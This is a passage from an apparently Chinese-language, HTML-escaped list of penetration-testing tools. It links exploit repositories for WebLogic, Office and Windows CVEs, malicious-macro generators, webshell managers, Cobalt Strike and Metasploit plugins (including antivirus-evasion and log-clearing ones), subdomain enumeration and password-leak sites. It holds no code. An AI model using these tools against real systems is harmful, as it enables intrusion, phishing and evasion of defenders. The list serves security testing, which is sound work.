&lt;li&gt;https://github.com/jas502n/CVE-2018-3191 Weblogic CVE-2018-3191 远程代码命令执行&lt;/li&gt;
&lt;li&gt;https://github.com/pyn3rd/CVE-2018-3245 weblogic cve-2018-2893 与 cve-2018-3245 远程代码命令执行&lt;/li&gt;
&lt;li&gt;https://github.com/NickstaDB/BaRMIe 用于 Java Remote Method Invocation 服务的工具/rmi 的枚举与远程命令执行&lt;/li&gt;
&lt;li&gt;https://github.com/joaomatosf/jexboss JBoss 和其他 java 序列化漏洞验证和开发工具&lt;/li&gt;
&lt;li&gt;https://github.com/frohoff/ysoserial java 反序列化利用工具&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head16&quot;&amp;gt; 版本管理平台漏洞收集&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/shengqi158/svnhack .svn 文件夹泄漏利用工具&lt;/li&gt;
&lt;li&gt;https://github.com/admintony/svnExploit SvnExploit是一款SVN源代码利用工具，其完美支持SVN&amp;lt;1.7版本和SVN&amp;gt;1.7版本的SVN源代码泄露&lt;/li&gt;
&lt;li&gt;https://www.waitalone.cn/seay-svn-poc-donw-20140505.html Seay-Svn 源代码泄露漏洞利用工具，2014-05-05 版&lt;/li&gt;
&lt;li&gt;https://github.com/WangYihang/GitHacker GitHacker---比GitHack更好用的.git泄露利用脚本,此项目长期在更新&lt;/li&gt;
&lt;li&gt;https://github.com/BugScanTeam/GitHack .git 文件利用工具，lijiejie 改进版&lt;/li&gt;
&lt;li&gt;https://github.com/lijiejie/GitHack .git 文件利用工具&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head17&quot;&amp;gt;MS 与 Office 漏洞收集&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/Lz1y/CVE-2017-8759 .NET Framework 换行符漏洞，CVE-2017-8759 完美复现（另附加 hta+powershell 弹框闪烁解决方案）https://www.freebuf.com/vuls/147793.html&lt;/li&gt;
&lt;li&gt;https://github.com/WyAtu/CVE-2018-8581 Exchange 使用完成添加收信规则的操作进行横向渗透和提权漏洞&lt;/li&gt;
&lt;li&gt;https://github.com/dafthack/MailSniper PS,用于在 Microsoft Exchange 环境搜索电子邮件查找特定邮件（密码、网络架构信息等）&lt;/li&gt;
&lt;li&gt;https://github.com/sensepost/ruler GO,通过 MAPI / HTTP 或 RPC / HTTP 协议远程与 Exchange 服务器进行交互,通过客户端 Outlook 功能远程获取 shell&lt;/li&gt;
&lt;li&gt;https://github.com/3gstudent/Smbtouch-Scanner 扫描内网永恒之蓝 ETERNAL445SMB 系列漏洞&lt;/li&gt;
&lt;li&gt;https://github.com/smgorelik/Windows-RCE-exploits windows 命令执行 RCE 漏洞 POC 样本，分为 web 与文件两种形式&lt;/li&gt;
&lt;li&gt;https://github.com/3gstudent/CVE-2017-8464-EXP CVE-2017-8464，win 快捷方式远程执行漏洞&lt;/li&gt;
&lt;li&gt;https://github.com/Lz1y/CVE-2018-8420 Windows 的 msxml 解析器漏洞可以通过 ie 或 vbs 执行后门&lt;/li&gt;
&lt;li&gt;https://www.anquanke.com/post/id/163000 利用 Excel 4.0 宏躲避杀软检&lt;/li&gt;
&lt;li&gt;https://github.com/thom-s/docx-embeddedhtml-injection word2016，滥用 Word 联机视频特征执行恶意代码 poc&lt;/li&gt;
&lt;li&gt;https://blog.cymulate.com/abusing-microsoft-office-online-video word2016，滥用 Word 联机视频特征执行恶意代码介绍&lt;/li&gt;
&lt;li&gt;https://github.com/0xdeadbeefJERKY/Office-DDE-Payloads 无需开启宏即可在 word 文档中利用 DDE 执行命令&lt;/li&gt;
&lt;li&gt;http://www.freebuf.com/articles/terminal/150285.html 无需开启宏即可在 word 文档中利用 DDE 执行命令利用&lt;/li&gt;
&lt;li&gt;https://github.com/Ridter/CVE-2017-11882 利用 word 文档 RTF 获取 shell，https://evi1cg.me/archives/CVE_2017_11882_exp.html&lt;/li&gt;
&lt;li&gt;https://github.com/Lz1y/CVE-2017-8759 利用 word 文档 hta 获取 shell，http://www.freebuf.com/vuls/147793.html&lt;/li&gt;
&lt;li&gt;https://fuping.site/2017/04/18/CVE-2017-0199 漏洞复现过程 WORD RTF 文档，配合 msf 利用&lt;/li&gt;
&lt;li&gt;https://github.com/tezukanice/Office8570 利用 ppsx 幻灯片远程命令执行，https://github.com/rxwx/CVE-2017-8570&lt;/li&gt;
&lt;li&gt;https://github.com/0x09AL/CVE-2018-8174-msf 目前支持的版本是 32 位 IE 浏览器和 32 位 office。网页访问上线，浏览器关闭，shell 依然存活，http://www.freebuf.com/vuls/173727.html&lt;/li&gt;
&lt;li&gt;http://www.4hou.com/technology/9405.html 在 Office 文档的属性中隐藏攻击载荷&lt;/li&gt;
&lt;li&gt;https://evi1cg.me/archives/Create_PPSX.html 构造 PPSX 钓鱼文件&lt;/li&gt;
&lt;li&gt;https://github.com/enigma0x3/Generate-Macro PowerShell 脚本，生成含有恶意宏的 Microsoft Office 文档&lt;/li&gt;
&lt;li&gt;https://github.com/mwrlabs/wePWNise 生成独立于体系结构的 VBA 代码，用于 Office 文档或模板，并自动绕过应用程序控制&lt;/li&gt;
&lt;li&gt;https://github.com/curi0usJack/luckystrike 基于 ps，用于创建恶意的 Office 宏文档&lt;/li&gt;
&lt;li&gt;https://github.com/sevagas/macro_pack MS Office 文档、VBS 格式、快捷方式 payload 捆绑&lt;/li&gt;
&lt;li&gt;https://github.com/khr0x40sh/MacroShop 一组通过 Office 宏传递有效载荷的脚本&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head18&quot;&amp;gt; xxe攻击技术分析&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/BuffaloWill/oxml_xxe XXE 漏洞利用&lt;/li&gt;
&lt;li&gt;https://thief.one/2017/06/20/1/ 浅谈 XXE 漏洞攻击与防御&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head19&quot;&amp;gt; shell管理相关工具拓展插件&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/AntSword-Store/ 中国蚁剑插件市场&lt;/li&gt;
&lt;li&gt;https://github.com/AntSword-Store/As-Exploits 中国蚁剑后渗透框架&lt;/li&gt;
&lt;li&gt;https://github.com/BeichenDream/Godzilla-Plugin-Store 哥斯拉插件&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head20&quot;&amp;gt;Kali 环境下拓展插件&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/secforce/sparta py，图形化应用程序联动 Nmap、Nikto、Hydra 等工具&lt;/li&gt;
&lt;li&gt;https://github.com/Manisso/fsociety linux 下类似于 kali 的工具包一键安装工具&lt;/li&gt;
&lt;li&gt;https://github.com/LionSec/katoolin 使用 linux 服务器自动安装 kali 工具包&lt;/li&gt;
&lt;li&gt;https://github.com/skavngr/rapidscan py2，simple，联动 kali 下工具&lt;/li&gt;
&lt;li&gt;https://github.com/koenbuyens/kalirouter 将 kali 设置为一个路由流量分析系统&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head21&quot;&amp;gt;Nessus Awvs 相关工具拓展插件&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://www.tenable.com/downloads/nessus&lt;/li&gt;
&lt;li&gt;https://github.com/se55i0n/Awvs_Nessus_Scanner_API 扫描器 Awvs 11 和 Nessus 7 Api 利用脚本&lt;/li&gt;
&lt;li&gt;https://github.com/DanMcInerney/msf-autoshell 配合 nessus 扫描结果进行 msf 攻击&lt;/li&gt;
&lt;li&gt;https://github.com/MooseDojo/apt2 联动 nmap、nessus 等工具进行安全测试&lt;/li&gt;
&lt;li&gt;https://github.com/HTFTIMEONE/awvs_xray awvs和xray批量联动工具&lt;/li&gt;
&lt;li&gt;https://github.com/AnneviLL/awvs_xray_url_batch-import 用于解决awvs和xray联动时url批量导入并扫描的小脚本&lt;/li&gt;
&lt;li&gt;https://github.com/FunnyKun/NessusReportInChinese 半自动化将 Nessus 英文报告（csv格式）生成中文 excel&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head22&quot;&amp;gt;Burpsuit 相关工具拓展插件&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/PortSwigger burpsuite 官方插件库&lt;/li&gt;
&lt;li&gt;https://github.com/sting8k/BurpSuite_403Bypasser 用python编写的用来测试绕过403的插件&lt;/li&gt;
&lt;li&gt;https://github.com/theLSA/burp-unauth-checker 一款用python开发用来自动化检查未授权漏洞()的burp插件&lt;/li&gt;
&lt;li&gt;https://github.com/snoopysecurity/awesome-burp-extensions awesome 系列之 burp 拓展&lt;/li&gt;
&lt;li&gt;https://github.com/d3vilbug/HackBar 集成 hackbar&lt;/li&gt;
&lt;li&gt;https://github.com/PortSwigger/turbo-intruder 比 Burp 自带的 Intruder 更快，一分钟打 1.61 万次请求&lt;/li&gt;
&lt;li&gt;https://github.com/Ebryx/AES-Killer burp 插件，破解 aes 加密的插件&lt;/li&gt;
&lt;li&gt;https://github.com/bugcrowd/HUNT 可以将 burpsuite 扫描器功能扩展的更加强大，同时支持 zapproxy 扩展&lt;/li&gt;
&lt;li&gt;https://github.com/wagiro/BurpBounty burp 插件增强主动与被动扫描功能&lt;/li&gt;
&lt;li&gt;https://github.com/nccgroup/BurpSuiteHTTPSmuggler Burp 拓展, 使用几种技巧绕过 WAF&lt;/li&gt;
&lt;li&gt;https://github.com/PortSwigger/command-injection-attacker burp 插件，命令注入漏洞检测&lt;/li&gt;
&lt;li&gt;https://github.com/nccgroup/freddy burp 插件，自动识别 Java/.NET 应用程序中的反序列化漏洞&lt;/li&gt;
&lt;li&gt;https://github.com/modzero/interestingFileScanner burp 插件，增强敏感文件扫描&lt;/li&gt;
&lt;li&gt;https://github.com/summitt/Burp-Non-HTTP-Extension burp 插件，抓取非HTTP流量&lt;/li&gt;
&lt;li&gt;https://github.com/ilmila/J2EEScan burp 拓展，扫描 J2EE 应用&lt;/li&gt;
&lt;li&gt;https://github.com/JGillam/burp-co2 集成了 sqlmap，菜刀，字典生成等&lt;/li&gt;
&lt;li&gt;https://github.com/swisskyrepo/SSRFmap burp 插件，检测 ssrf 漏洞&lt;/li&gt;
&lt;li&gt;https://github.com/Mr-xn/BurpSuite-collections 有关burpsuite的插件(非商店),文章以及使用技巧的收集&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head23&quot;&amp;gt;Sqlmap 相关工具拓展插件&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/codewatchorg/sqlipy burp 与 sqlmap 联动插件&lt;/li&gt;
&lt;li&gt;https://github.com/Hood3dRob1n/SQLMAP-Web-GUI sqlmap 的 web gui&lt;/li&gt;
&lt;li&gt;https://github.com/KINGSABRI/sqlmap-tamper-api 利用各种语言来编写 sqlmapTamper&lt;/li&gt;
&lt;li&gt;https://github.com/0xbug/SQLiScanner 一款基于 sqlmapapi 和 Charles 的被动 SQL 注入漏洞扫描工具&lt;/li&gt;
&lt;li&gt;https://github.com/fengxuangit/Fox-scan 基于 sqlmapapi 的主动和被动资源发现的漏洞扫描工具&lt;/li&gt;
&lt;li&gt;https://github.com/UltimateHackers/sqlmate 在 sqlmap 基础上增加了目录扫描、hash 爆破等功能&lt;/li&gt;
&lt;li&gt;https://github.com/ysrc/GourdScanV2 ysrc 出品的被动式漏洞扫描工具，基于 sqlmapapi&lt;/li&gt;
&lt;li&gt;https://github.com/zt2/sqli-hunter 基于 sqlmapapi，ruby 编写的漏洞代理型检测工具&lt;/li&gt;
&lt;li&gt;https://github.com/jesuiscamille/AutoSQLi 利用 DorkNet，Googler, Ddgr, WhatWaf 和 sqlmap 自动注入&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head24&quot;&amp;gt;Nmap 相关工具拓展插件&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/Ullaakut/nmap GO，实现的 Nmap 调用库&lt;/li&gt;
&lt;li&gt;https://github.com/cldrn/nmap-nse-scripts NSE 收集列表&lt;/li&gt;
&lt;li&gt;https://github.com/vulnersCom/nmap-vulners 使用 nmap 扫描常见的服务漏洞&lt;/li&gt;
&lt;li&gt;https://github.com/s4n7h0/Halcyon Nmap Script (NSE)IDE 编辑器&lt;/li&gt;
&lt;li&gt;https://github.com/m4ll0k/AutoNSE NSE 自动化利用&lt;/li&gt;
&lt;li&gt;https://github.com/Screetsec/Dracnmap shell，将 Nmap 复杂的命令进行一定程度的集成与简化，使新用户更加容易上手。&lt;/li&gt;
&lt;li&gt;https://github.com/cldrn/rainmap-lite Django，Web 版 Nmap，可以建立新的扫描服务器，允许用户从他们的手机/平板电脑/网络浏览器启动 Nmap 扫描&lt;/li&gt;
&lt;li&gt;https://github.com/trimstray/sandmap linux 下将支持使用大量 Nmap 引擎进行网络和系统侦察的工具&lt;/li&gt;
&lt;li&gt;https://github.com/m0nad/HellRaiser 基于 nmap 的扫描器，与 cve 漏洞关联&lt;/li&gt;
&lt;li&gt;https://github.com/scipag/vulscan 基于 nmap 的高级漏洞扫描器，命令行环境使用&lt;/li&gt;
&lt;li&gt;https://github.com/Rev3rseSecurity/WebMap 将 nmap 的 xml web 展示器&lt;/li&gt;
&lt;li&gt;https://github.com/DanMcInerney/msf-autopwn 执行 NMap 扫描或读取扫描结果, 然后自动使用 msf 攻击包含常见漏洞的主机&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head25&quot;&amp;gt;Metasploit 相关工具拓展插件&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/13o-bbr-bbq/machine_learning_security/tree/master/DeepExploit 结合机器学习与 msf 的全自动测试工具&lt;/li&gt;
&lt;li&gt;https://github.com/r00t-3xp10it/Meterpreter_Paranoid_Mode-SSL 一个可以创建 SSL/TLS shell 连接的脚本&lt;/li&gt;
&lt;li&gt;https://github.com/DanMcInerney/msf-netpwn 等待 msf 的 session，并自动提为域管理&lt;/li&gt;
&lt;li&gt;https://www.exploit-db.com/exploits/45851/ msf 插件，利用 jira upm 上传进行命令执行&lt;/li&gt;
&lt;li&gt;https://github.com/NullArray/AutoSploit 利用 Shodan 搜索引擎收集目标, 并自动调用设定的 msf 模块对目标发动攻击&lt;/li&gt;
&lt;li&gt;https://github.com/WazeHell/metateta 使用 msf 脚本，根据特定协议进行扫描&lt;/li&gt;
&lt;li&gt;https://github.com/fbkcs/msf-elf-in-memory-execution Metasploit 模块, 用于在内存中执行 ELF 文件&lt;/li&gt;
&lt;li&gt;https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit metasploit 双星攻击利用文件&lt;/li&gt;
&lt;li&gt;https://github.com/darkoperator/Metasploit-Plugins msf 扩展资产搜集与帮助插件&lt;/li&gt;
&lt;li&gt;https://github.com/D4Vinci/One-Lin3r metasploit、payload 辅助查询工具&lt;/li&gt;
&lt;li&gt;https://github.com/shizzz477/msploitego 将 msf 数据库与 maltego 进行图形化展示&lt;/li&gt;
&lt;li&gt;https://github.com/scriptjunkie/msfgui metasploit 的 GUI 界面，话说现在 msf 对 windows 支持也挺好的&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head26&quot;&amp;gt;CobaltStrike 相关工具拓展插件&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/pandasec888/taowu-cobalt-strike taowu-cobalt-strike-适用于cobalt strike3.x与cobalt strike4.x的插件&lt;/li&gt;
&lt;li&gt;https://mp.weixin.qq.com/s/CEI1XYkq2PZmYsP0DRU7jg 使用 Aggressor 脚本雕饰 Cobalt Strike&lt;/li&gt;
&lt;li&gt;https://github.com/rsmudge/armitage CobaltStrike 社区版，调用 msf，一对多带界面&lt;/li&gt;
&lt;li&gt;https://github.com/anbai-inc/CobaltStrike_Hanization CobaltStrike2.5 汉化版，以 msf 库为基础，3.0 以后改版&lt;/li&gt;
&lt;li&gt;https://github.com/rsmudge/cortana-scripts 用于 cs2.x 与 armitage 的可拓展插件，cvs3.x 的为 AggressorScripts&lt;/li&gt;
&lt;li&gt;https://github.com/harleyQu1nn/AggressorScripts cs3.0 以后的脚本搜集&lt;/li&gt;
&lt;li&gt;https://github.com/FortyNorthSecurity/AggressorAssessor cs3.x 自动化攻击脚本集合&lt;/li&gt;
&lt;li&gt;https://github.com/Ridter/CS_Chinese_support/ cs3.0 传输信息的汉化插件&lt;/li&gt;
&lt;li&gt;https://github.com/verctor/CS_xor64 生成 cobaltstrike 所需的 xor64.bin&lt;/li&gt;
&lt;li&gt;https://github.com/ryhanson/ExternalC2 一个用于将通信渠道与 Cobalt Strike External C2 服务器集成的库&lt;/li&gt;
&lt;li&gt;https://github.com/threatexpress/cs2modrewrite 用于将 Cobalt Strike 配置文件转换为 mod_rewrite 脚本的工具&lt;/li&gt;
&lt;li&gt;https://github.com/Mr-Un1k0d3r/CatMyFish 搜索分类域，为 Cobalt Strike beacon C&amp;amp;C 设置白名单域&lt;/li&gt;
&lt;li&gt;https://github.com/threatexpress/malleable-c2 利用 jquery 文件进行 C2 通讯，在文件内做了 JS 混淆绕过防火墙&lt;/li&gt;
&lt;li&gt;https://github.com/dcsync/pycobalt py3,Python API for Cobalt Strike&lt;/li&gt;
&lt;li&gt;https://www.cobaltstrike.com/aggressor-script/cobaltstrike.html CobaltStrike 相关插件编写，一对多带界面&lt;/li&gt;
&lt;li&gt;https://github.com/wafinfo/cobaltstrike cobaltstrike后渗透插件，偏向内网常用工具&lt;/li&gt;
&lt;li&gt;https://github.com/Tycx2ry/SweetPotato_CS SweetPotato_Cobalt Strike-修改的SweetPotato，使之可以用于CobaltStrike v4.0&lt;/li&gt;
&lt;li&gt;https://github.com/gloxec/CrossC2 CrossC2 framework - 生成CobaltStrike的跨平台beacon&lt;/li&gt;
&lt;li&gt;https://github.com/zer0yu/Awesome-CobaltStrike Awesome-CobaltStrike-cobaltstrike的相关资源汇总&lt;/li&gt;
&lt;li&gt;https://github.com/Gality369/CS-Loader CS-Loader-cobalt strike免杀生成&lt;/li&gt;
&lt;li&gt;https://github.com/timwhitez/Cobalt-Strike-Aggressor-Scripts Cobalt Strike Aggressor 插件包&lt;/li&gt;
&lt;li&gt;https://github.com/DeEpinGh0st/Erebus Erebus-Cobalt Strike后渗透测试插件,包括了信息收集、权限获取、密码获取、痕迹清除等等常见的脚本插件&lt;/li&gt;
&lt;li&gt;https://github.com/QAX-A-Team/EventLogMaster Cobalt Strike插件 - RDP日志取证&amp;amp;清除&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head27&quot;&amp;gt;Empire 相关工具拓展插件&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://paper.tuisec.win/detail/f3dce68a0b4baaa 利用 Empire 获取域控权限&lt;/li&gt;
&lt;li&gt;https://github.com/EmpireProject/Empire-GUI empire 的 node.js 界面&lt;/li&gt;
&lt;li&gt;https://github.com/interference-security/empire-web empire 的 web 界面&lt;/li&gt;
&lt;li&gt;https://github.com/byt3bl33d3r/DeathStar py3,调用 Empire RESTful API 自动化获取域管权限的&lt;/li&gt;
&lt;li&gt;https://github.com/infosecn1nja/e2modrewrite 用于将 Empire 配置文件转换为 Apache modrewrite 脚本&lt;/li&gt;
&lt;li&gt;https://github.com/maxchehab/CSS-Keylogging Chrome 扩展程序和 Express 服务器利用 CSS 的键盘记录功能。&lt;/li&gt;
&lt;li&gt;https://github.com/evilcos/cookiehacker Chrome 扩展程序。JavaScript document.cookie / Wireshark Cookie&lt;/li&gt;
&lt;li&gt;https://github.com/lfzark/cookie-injecting-tools Chrome 扩展，cookie 注入工具包括注入，编辑，添加和删除 cookie&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head28&quot;&amp;gt; 信息搜集&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/smicallef/spiderfoot 利用 OSINT 自动化找出对方信息，gui 界面，插件化&lt;/li&gt;
&lt;li&gt;https://github.com/Nhoya/gOSINT go，利用 OSINT 自动化搜集信息&lt;/li&gt;
&lt;li&gt;https://github.com/laramies/theHarvester 企业被搜索引擎收录敏感资产信息监控脚本：员工邮箱、子域名、Hosts&lt;/li&gt;
&lt;li&gt;https://github.com/guelfoweb/knock 通过爆破进行子域名获取，可用于查找子域名接管漏洞&lt;/li&gt;
&lt;li&gt;https://github.com/aboul3la/Sublist3r 通过搜索引擎与爆破快速子域枚举工具&lt;/li&gt;
&lt;li&gt;https://github.com/Ice3man543/subfinder 基于 go 实现的 Sublist3r&lt;/li&gt;
&lt;li&gt;https://github.com/yanxiu0614/subdomain3 py3、py2 的子域名,IP,CDN 信息等&lt;/li&gt;
&lt;li&gt;https://github.com/caffix/amass 基于 go，子域名枚举, 搜索互联网数据源, 使用机器学习猜测子域名&lt;/li&gt;
&lt;li&gt;https://github.com/nahamsec/lazyrecon 侦查 reconnaissance 过程自动化脚本, 可自动使用 Sublist3r/certspotter 获取子域名, 调用 nmap/dirsearch 等&lt;/li&gt;
&lt;li&gt;https://github.com/s0md3v/ReconDog simple，侦查信息的瑞士军刀&lt;/li&gt;
&lt;li&gt;https://github.com/FeeiCN/ESD py3，爆破搜集子域名&lt;/li&gt;
&lt;li&gt;https://github.com/alpha1e0/pentestdb 多用途集成化信息搜集工具&lt;/li&gt;
&lt;li&gt;https://github.com/se55i0n/PortScanner py2,目标 tcp 端口快速扫描、banner 识别、cdn 检测&lt;/li&gt;
&lt;li&gt;https://github.com/lijiejie/subDomainsBrute lijiejie 开发的一款使用广泛的子域名爆破枚举工具&lt;/li&gt;
&lt;li&gt;https://github.com/ring04h/wydomain 猪猪侠开发的一款域名收集全面、精准的子域名枚举工具&lt;/li&gt;
&lt;li&gt;https://github.com/n4xh4ck5/N4xD0rk 利用搜索引擎来搜集子域名，可以使用西班牙语搜集&lt;/li&gt;
&lt;li&gt;https://github.com/vysec/DomLink py2,调用 WHOXY.com，对邮箱和域名进行进一步的搜集&lt;/li&gt;
&lt;li&gt;https://github.com/jonluca/Anubis py3.6，子域名爆破与信息搜集&lt;/li&gt;
&lt;li&gt;https://github.com/le4f/dnsmaper web 界面，子域名枚举爆破工具以及地图位置标记&lt;/li&gt;
&lt;li&gt;https://github.com/thewhiteh4t/seeker 获取高精度地理信息和设备信息的工具&lt;/li&gt;
&lt;li&gt;https://github.com/0xbug/orangescan web 界面，的在线子域名信息收集工具&lt;/li&gt;
&lt;li&gt;https://github.com/TheRook/subbrute 扫描器中常用的子域名爆破 API 库&lt;/li&gt;
&lt;li&gt;https://github.com/We5ter/GSDF 基于谷歌 SSL 透明证书的子域名查询脚本&lt;/li&gt;
&lt;li&gt;https://github.com/mandatoryprogrammer/cloudflare_enum 利用 CloudFlare 的 dns 进行子域名枚举&lt;/li&gt;
&lt;li&gt;https://github.com/ultrasecurity/webkiller 渗透辅助，py，ip 信息、端口服务指纹、蜜罐探测、bypass cloudflare&lt;/li&gt;
&lt;li&gt;https://github.com/christophetd/CloudFlair cloudflare 绕过，获取真实 ip，集成 censys&lt;/li&gt;
&lt;li&gt;https://github.com/exp-db/PythonPool/tree/master/Tools/DomainSeeker 多方式收集目标子域名信息&lt;/li&gt;
&lt;li&gt;https://github.com/code-scan/BroDomain 子域名查询&lt;/li&gt;
&lt;li&gt;https://github.com/knownsec/ksubdomain 无状态子域名爆破工具&lt;/li&gt;
&lt;li&gt;https://github.com/michenriksen/aquatone 子域名枚举、探测工具。可用于子域名接管漏洞探测&lt;/li&gt;
&lt;li&gt;https://github.com/chuhades/dnsbrute 基于 go，高效的子域名爆破工具&lt;/li&gt;
&lt;li&gt;https://github.com/evilsocket/dnssearch 基于 go，一款子域名爆破工具&lt;/li&gt;
&lt;li&gt;https://github.com/OJ/gobuster 基于 go，根据 dns 查询子域名和 web 目录爆破的工具&lt;/li&gt;
&lt;li&gt;https://github.com/reconned/domained 可用于子域名收集的一款工具&lt;/li&gt;
&lt;li&gt;https://github.com/bit4woo/Teemo 多方式域名收集及枚举工具&lt;/li&gt;
&lt;li&gt;https://github.com/swisskyrepo/Subdomino 子域名枚举，端口扫描，服务存活确认&lt;/li&gt;
&lt;li&gt;https://github.com/nmalcolm/Inventus 通过爬虫实现的子域名收集工具&lt;/li&gt;
&lt;li&gt;https://github.com/alienwithin/OWASP-mth3l3m3nt-framework 渗透辅助，php，exp 搜寻、payload 与 shell 生产、信息搜集&lt;/li&gt;
&lt;li&gt;https://github.com/chrismaddalena/ODIN py3，simple，信息搜集与后期漏洞利用&lt;/li&gt;
&lt;li&gt;https://github.com/x0day/bannerscan C 段/旁站查询与路径扫描&lt;/li&gt;
&lt;li&gt;https://github.com/Xyntax/BingC 基于 Bing 搜索引擎的 C 段/旁站查询，多线程，支持 API&lt;/li&gt;
&lt;li&gt;https://github.com/zer0h/httpscan 网段 Web 主机发现小工具&lt;/li&gt;
&lt;li&gt;https://github.com/lijiejie/BBScan 网站信息泄漏批量扫描脚本&lt;/li&gt;
&lt;li&gt;https://github.com/aipengjie/sensitivefilescan 网站敏感文件扫描工具&lt;/li&gt;
&lt;li&gt;https://github.com/Mosuan/FileScan 网站敏感文件扫描 / 二次判断降低误报率 / 扫描内容规则化 / 多目录扫描&lt;/li&gt;
&lt;li&gt;https://github.com/Xyntax/FileSensor 网站敏感文件探测工具&lt;/li&gt;
&lt;li&gt;https://github.com/ring04h/weakfilescan 多线程网站泄露信息检测工具&lt;/li&gt;
&lt;li&gt;https://github.com/Viralmaniar/Passhunt simple，用于搜索网络设备 Web 应用程序等的默认凭证。包含 523 个厂家的 2084 组默认密码&lt;/li&gt;
&lt;li&gt;https://github.com/yassineaboukir/Asnlookup simple,利用 ASN 搜索特定组织拥有 ip，可联动 nmap、masscan 进行进一步信息扫描&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head29&quot;&amp;gt; 敏感信息泄露发现&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/Yelp/detect-secrets PY,防止代码中的密码等相关敏感信息被提交到代码库中，可以在保证安全性的同时不会给开发者的生产力带来任何影响&lt;/li&gt;
&lt;li&gt;https://github.com/Acceis/leakScraper 处理和可视化大规模文本文件, 查找敏感信息, 例如证书&lt;/li&gt;
&lt;li&gt;https://github.com/Raikia/CredNinja 多线程用户凭证验证脚本，比如验证 dump 的 hash 是否属于此机器，利用 445 端口进行协议验证&lt;/li&gt;
&lt;li&gt;https://github.com/CERTCC/keyfinder 查找并分析私钥/公钥文件(文件系统中), 支持 Android APK 文件&lt;/li&gt;
&lt;li&gt;https://github.com/Ice3man543/hawkeye go，cli 端，文件系统分析工具，快速查找文件内包含的 SSH 密钥，日志文件，Sqlite 数据库，密码文件等&lt;/li&gt;
&lt;li&gt;https://github.com/FortyNorthSecurity/EyeWitness 获取目标网站截图、vnc、rdp 服务，尝试获取默认凭证&lt;/li&gt;
&lt;li&gt;https://github.com/D4Vinci/Cr3dOv3r 根据邮箱自动搜索泄漏的密码信息，也可测试账户密码在各大网站能否登录的工具&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head30&quot;&amp;gt; 威胁情报分析&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://www.databases.today，https://publicdbhost.dmca.gripe/，http://www.wttech.org/，https://hashes.org/leaks.php，https://archive.org/search.php?query= 密码泄露&lt;/li&gt;
&lt;li&gt;https://www.threatcrowd.org/ 威胁情报分析平台&lt;/li&gt;
&lt;li&gt;https://x.threatbook.cn/ 微步在线 | 威胁情报分析平台-ThreatBook-多引擎在线扫描、恶意软件在线检测&lt;/li&gt;
&lt;li&gt;https://github.com/needmorecowbell/sniff-paste 针对 Pastebin 的开源情报收集工具&lt;/li&gt;
&lt;li&gt;https://talosintelligence.com/documents/ip-blacklist 恶意 IP 地址&lt;/li&gt;
&lt;li&gt;https://ransomwaretracker.abuse.ch/downloads/RW_IPBL.txt 恶意软件 IP 地址&lt;/li&gt;
&lt;li&gt;https://check.torproject.org/cgi-bin/TorBulkExitList.py?ip=1.1.1.1 洋葱路由出口节点&lt;/li&gt;
&lt;li&gt;https://isc.sans.edu/api/threatlist/shodan shodan 撒旦扫描器节点&lt;/li&gt;
&lt;li&gt;https://github.com/Te-k/harpoon 用于开源和威胁智能的 CLI 工具&lt;/li&gt;
&lt;li&gt;https://trumail.io/ 验证对方邮箱是否为垃圾邮箱，每个月可以免费验证 1000 次&lt;/li&gt;
&lt;li&gt;https://github.com/ChrisJohnRiley/Scythe 验证账号是否为常用账号&lt;/li&gt;
&lt;li&gt;https://github.com/fireeye/GeoLogonalyzer 远程身份验证地理位置分析工具，用于区分合法登录和恶意登录。&lt;/li&gt;
&lt;li&gt;https://github.com/target/strelka py3，通过实时扫描文件进行威胁情报分析和实时监测。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head31&quot;&amp;gt; 云环境的安全渗透测试&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
